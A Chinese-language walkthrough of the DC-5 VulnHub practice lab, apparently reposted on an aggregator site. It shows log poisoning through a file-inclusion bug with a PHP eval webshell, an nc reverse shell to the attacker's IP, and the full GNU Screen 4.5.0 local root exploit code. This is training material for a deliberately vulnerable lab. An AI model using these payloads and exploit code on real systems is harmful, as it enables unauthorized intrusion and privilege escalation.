DC-5靶场

news2024/11/26 21:40:33

目录

DC-5靶机:

先进行主机发现:

发现文件包含:

上传一句话木马:

反弹shell:

提权漏洞利用:

下载exp:                                            

第一个文件 libhax.c

第二个文件rootshell.c:

第三个文件 dc5.sh:

flag:


DC-5靶机:

https://www.vulnhub.com/entry/dc-5,314/

靶机和kali都调节至NAT模式,即可开始渗透

先进行主机发现:

arp-scan -l

以下报告中得知靶机ip是192.168.183.148

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138

WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.183.1   00:50:56:c0:00:08       (Unknown)

192.168.183.2   00:50:56:fc:0d:25       (Unknown)

192.168.183.148 00:0c:29:aa:41:f8       (Unknown)

192.168.183.254 00:50:56:fe:ac:e6       (Unknown)

Nmap扫描192.168.183.148:

nmap -sV -p-  192.168.183.148

得到报告

Nmap scan report for 192.168.183.148

Host is up (0.00061s latency).

Not shown: 65532 closed tcp ports (reset)

PORT      STATE SERVICE VERSION

80/tcp    open  http    nginx 1.6.2

111/tcp   open  rpcbind 2-4 (RPC #100000)

41656/tcp open  status  1 (RPC #100024)

MAC Address: 00:0C:29:AA:41:F8 (VMware)

  • 80/tcp:这个端口标识为开放状态,使用的协议是HTTP。服务器软件是Nginx版本1.6.2。
  • 111/tcp:这个端口标识为开放状态,使用的协议是RPCBIND。RPCBIND是一个用于远程过程调用(RPC)服务的端口映射程序,它能将RPC程序映射到其所使用的端口上。RPC是一种用于不同计算机之间进行通信和调用远程程序的协议。
  • 41656/tcp:这个端口标识为开放状态,使用的协议是STATUS。STATUS是一个RPC服务的标识号,它通常用于获取远程主机的系统状态信息。

发现文件包含:

dirsearch扫描ip后点击几个页面后发现,在/footer.php这个页面每次刷新年份都不一样,

而在/thankyou.php这个页面下的年份刷新有概率刷出不一样的年份,这说明年份信息是动态获取的,thankyou.php页面的年份刷新逻辑可能会从某个动态数据源中获取年份信息,可能这个年份信息就是从外部文件(footer.php)中获取的。这里的年份变化可能会和文件包含或者随机算法代码逻辑有关,这里我们用参数file测试,发现file=footer.php和file=空时,底下会有区别(一个有年份另一个是空)

当file=/etc/passwd时,读取了文件信息,确认有文件包含漏洞

上传一句话木马:

我们从前面的信息收集中已知这是Nginx服务器,Nginx的日志文件通常位于服务器上的/var/log/nginx目录下,但实际的位置可能因操作系统版本、Nginx配置文件等因素而有所不同。

在Ubuntu和Debian Linux系统中,默认的Nginx日志文件路径是/var/log/nginx,其中包括以下文件:

  • access.log:记录所有HTTP请求和响应的详细信息,包括时间、请求方法、URL、HTTP协议版本、响应状态码、响应大小等。
  • error.log:记录Nginx服务器的错误和警告信息,例如无法启动服务、配置文件错误、连接超时等。

在CentOS或RHEL Linux系统中,默认的Nginx日志文件路径是/var/log/nginx,其中包括以下文件:

  • access_log:与Ubuntu相同,记录所有HTTP请求和响应的详细信息。
  • error_log:与Ubuntu相同,记录Nginx服务器的错误和警告信息。

错误日志会将所有的错误信息都存入日志,如果输入一个不存在的文件,那自然也会当做错误信息存入错误日志里面,那么我们就可以把一句话木马当成这个“不存在的文件名”,接机把一句话木马存入到error.log。直接在url栏写木马可能会被编码后再存入,木马就失效了,所以抓包传木马。以下为数据包内容:

GET /thankyou.php?file=<?Php eval($_REQUEST[6]); ?> HTTP/1.1

Host: 192.168.183.148

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://192.168.183.148/contact.php

Upgrade-Insecure-Requests: 1

再次访问http://192.168.183.148/thankyou.php?file=/var/log/nginx/error.log即可看到因为文件名不存在,而写入错误日志的一句话木马

蚁剑链接木马,右击数据点击虚拟终端,在虚拟终端里nc反弹shell

反弹shell:

kali开启监听:

nc -lvvp 666

nc反弹:

nc 192.168.183.138 666 -e /bin/bash

进入交互式shell:

python -c "import pty;pty.spawn('/bin/bash')"

查找设置了Suid权限的文件:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

在出来的数据里我们能看见screen 4.5.0,Screen是一个在Unix和类Unix系统上运行的终端复用程序。它允许用户在单个物理终端或远程SSH会话中同时运行多个虚拟终端,并能够在后台运行、分离和恢复会话。和DC-4一样,searchsploit搜索一下exp

提权漏洞利用:

searchsploit scree 4.5.0

出现报告,给出两个exp:

---------------------- ---------------------------------

 Exploit Title        |  Path

---------------------- ---------------------------------

GNU Screen 4.5.0 - Lo | linux/local/41152.txt

GNU Screen 4.5.0 - Lo | linux/local/41154.sh

---------------------- ---------------------------------

Shellcodes: No Results

下载exp:                                            

searchsploit -m 41154.sh       

以下报告得知我的exp下载在 /home/kali/41154.sh

  Exploit: GNU Screen 4.5.0 - Local Privilege Escalation

      URL: https://www.exploit-db.com/exploits/41154

     Path: /usr/share/exploitdb/exploits/linux/local/41154.sh

    Codes: N/A

 Verified: True

File Type: Bourne-Again shell script, ASCII text executable

Copied to: /home/kali/41154.sh

然后根据指示操作:

第一个文件 libhax.c

vim libhax.c 

然后复制以下内容进去:

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}

单独保存并编译,成功会生成libhax.so文件 :

gcc -fPIC -shared -ldl -o libhax.so libhax.c

第二个文件rootshell.c:

vim rootshell.c

然后复制以下内容进去:

#include <stdio.h>

#include <unistd.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh",  NULL);

}

 执行以下命令,成功会生成rootshell文件:

gcc -o rootshell rootshell.c   

第三个文件 dc5.sh:

vim dc5.sh

复制以下内容进去:

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

ls查看三个文件是否存在

由于我的蚁剑就在kali里,所以我在靶机后台的/tmp里直接上传这三个文件(单击右键能看见文件上传选项),如果不在/tmp上传会上传失败,如果蚁剑在物理机,就把三个文件拖出去进行相同操作

上传成功后回到交互式shell这里,先到/tmp目录下

cd /

修改dc5.sh权限:

chmod +x dc5.sh

运行dc5.sh

dc5.sh

当出现#号时即为提权成功,whoami能看到root

flag:

flag在/root下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1320762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ubuntu 常用命令之 rm 命令用法介绍

rm是一个在Unix和Unix-like操作系统中的基本命令&#xff0c;用于删除文件或目录。rm的全称是“remove”。 rm命令的基本语法是 rm [options] [-r|-R] [--] file...其中&#xff0c;[options]是可选的命令行选项&#xff0c;[-r|-R]是递归删除目录和其内容&#xff0c;[--]表…

Eclipse 一直提示 loading descriptor for 的解决方法

启动eclipse之后&#xff0c;进行相关操作时&#xff0c;弹出界面&#xff0c;提示&#xff1a;loading descriptor for xxx 解决方法&#xff1a; 在Eclipse左侧的Project Explorer 最右上角有一个小钮,鼠标移上去时提示"View Menu". 你点一下,在弹出的上下文菜单中…

0基础学习VR全景平台篇第129篇:认识单反相机和鱼眼镜头

上课&#xff01;全体起立~ 大家好&#xff0c;欢迎观看蛙色官方系列全景摄影课程&#xff01; 一、相机 单反和微单 这里说的相机是指可更换镜头的单反/微单数码相机。那两者有何差异呢&#xff1f; 1&#xff09;取景结构差异 两者最直观的区别在于&#xff0c;微单相机…

Github2023-12-15 开源项目日报 Top10

根据Github Trendings的统计&#xff0c;今日(2023-12-15统计)共有10个项目上榜。根据开发语言中项目的数量&#xff0c;汇总情况如下&#xff1a; 开发语言项目数量TypeScript项目3非开发语言项目3JavaScript项目1Python项目1Rust项目1PHP项目1 基于项目的学习 创建周期&am…

【Spring】10 BeanFactoryAware 接口

文章目录 1. 简介2. 作用3. 使用3.1 创建并实现接口3.2 配置 Bean 信息3.3 创建启动类3.4 启动 4. 应用场景总结 Spring 框架为开发者提供了丰富的扩展点&#xff0c;其中之一就是 Bean 生命周期中的回调接口。本文将专注于介绍一个重要的接口 BeanFactoryAware&#xff0c;探…

恒创:多链路负载均衡是什么意思

多链路负载均衡是一种网络架构技术&#xff0c;它通过将流量分散到多个网络链路上&#xff0c;以提高网络的性能和可靠性。这种技术可以应用于各种场景&#xff0c;如数据中心、云计算、企业网络等。 在多链路负载均衡中&#xff0c;流量被分配到多个网络链路上&#xff0c;以…

vue 历程记

目录 前言一、源码优化1、vue3.x 采用 monorep 的理念来管理源码2、vue3.x 源码采用 TypeScript 开发 二、性能优化1、减少源码的体积2、数据劫持优化3、编译优化&#xff08;1&#xff09;、编译粒度的优化 三、语法 API 的优化1、优化了编码的逻辑组织2、优化了代码的逻辑复用…

install cuda cudnn tersorRT

# 安装 $ ubuntu-drivers devices$ sudo apt-get install nvidia-driver-470-server # 推荐是server&#xff0c;都可以。#delelt sudo apt --purge remove nvidia-* CUDA Toolkit Archive | NVIDIA Developerhttps://developer.nvidia.com/cuda-toolkit-archive CUDA Toolk…

MongoDB的数据库引用

本文主要介绍MongoDB的数据库引用。 目录 MongoDB的数据库引用 MongoDB的数据库引用 MongoDB是一种面向文档的NoSQL数据库&#xff0c;它使用BSON&#xff08;Binary JSON&#xff09;格式存储和查询数据。在MongoDB中&#xff0c;数据库引用是一种特殊的数据类型&#xff0c;…

最新AI创作系统ChatGPT系统源码+DALL-E3文生图+支持AI绘画+GPT语音对话功能

一、AI创作系统 SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI…

Leetcode—859.亲密字符串【简单】

2023每日刷题&#xff08;六十三&#xff09; Leetcode—859.亲密字符串 &#x1f4a9;山实现代码 class Solution { public:bool buddyStrings(string s, string goal) {int len1 s.size(), len2 goal.size();int cnt 0;int flag 0;int flag2 0;int odd -1;int a[26] …

python 实现 AIGC 大模型中的概率论:生日问题的公式推导

在前两节中&#xff0c;我们推导了生日问题的求解算法&#xff0c;但在数学上的最终目标就是希望能针对问题推导出一个简洁漂亮的公式&#xff0c;就像爱因斯坦著名的质能方程 E MC^2 那样&#xff0c;毕竟数学是以符号逻辑来看待世界本质的语言&#xff0c;所以絮絮叨叨不是数…

AXure的情景交互

目录 导语&#xff1a; 1.erp多样性登录界面 2.主页跳转 3.省级联动​编辑 4. 下拉加载 导语&#xff1a; Axure是一种流行的原型设计工具&#xff0c;可以用来创建网站和应用程序的交互原型。通过Axure&#xff0c;设计师可以创建情景交互&#xff0c;以展示用户与系统的交…

Elasitcsearch--解决CPU使用率升高

原文网址&#xff1a;Elasitcsearch--解决CPU使用率升高_IT利刃出鞘的博客-CSDN博客 简介 本文介绍如何解决ES导致的CPU使用率升高的问题。 问题描述 线上环境 Elasticsearch CPU 使用率飙升常见问题如下&#xff1a; Elasticsearch 使用线程池来管理并发操作的 CPU 资源。…

JVM-11-运行时栈帧结构

“栈帧”&#xff08;Stack Frame&#xff09;则是用于支持虚拟机进行方法调用和方法执行背后的数据结构&#xff0c;它也是虚拟机运行时数据区中的虚拟机栈&#xff08;Virtual MachineStack&#xff09;的栈元素。 栈帧存储了方法的局部变量表、操作数栈、动态连接和方法返回…

【web安全】支付篡改

前言 菜某的总结&#xff0c;如有错误和补充欢迎评论指正。 内容仅供学习使用&#xff0c;切勿用于非法用途。 支付篡改的存在位置与影响 首先他的危害不言而喻&#xff0c;几乎任何一个拿出来都能给企业带来巨大的损失。 他出现的地方也是十分的广泛&#xff0c;从某种意…

opencv、pillow和matplotlib的区别

参考文章&#xff1a;Python学习小技巧——opencv、pillow和matplotlib的区别_pillow和opencv区别-CSDN博客 1 概念的比较&#xff1a; opencv &#xff08;1&#xff09;默认不支持中文文件名 &#xff08;2&#xff09;数据为numpy&#xff0c;维度&#xff1a;高&#xff…

【uniapp小程序-上拉加载】

在需要上拉加载的页面的page.json上添加红框框里面的 onReachBottom() {if(this.commentCurrent<this.commentTotal){this.commentCurrent 1; this.commentList();this.status loading;}else{this.status ;} }, methods:{commentList(){let params {courseid:this.cour…

超级计算机与天气预报:精准预测的科技革命

超级计算机与天气预报&#xff1a;精准预测的科技革命 一、引言 随着科技的飞速发展&#xff0c;超级计算机已经成为现代社会不可或缺的一部分。它们在科研、工业、军事等领域发挥着重要作用&#xff0c;其中天气预报是一个颇具代表性的应用领域。本文将探讨超级计算机在天气…

_55跳跃游戏 _45跳跃游戏II

_55跳跃游戏 && _45跳跃游戏II 原题链接&#xff1a;完成情况&#xff1a;解题思路&#xff1a;_55跳跃游戏_45跳跃游戏II 参考代码&#xff1a;_55跳跃游戏_45跳跃游戏II_从覆盖范围角度考虑_45跳跃游戏II 错误经验吸取 原题链接&#xff1a; _55跳跃游戏 &&…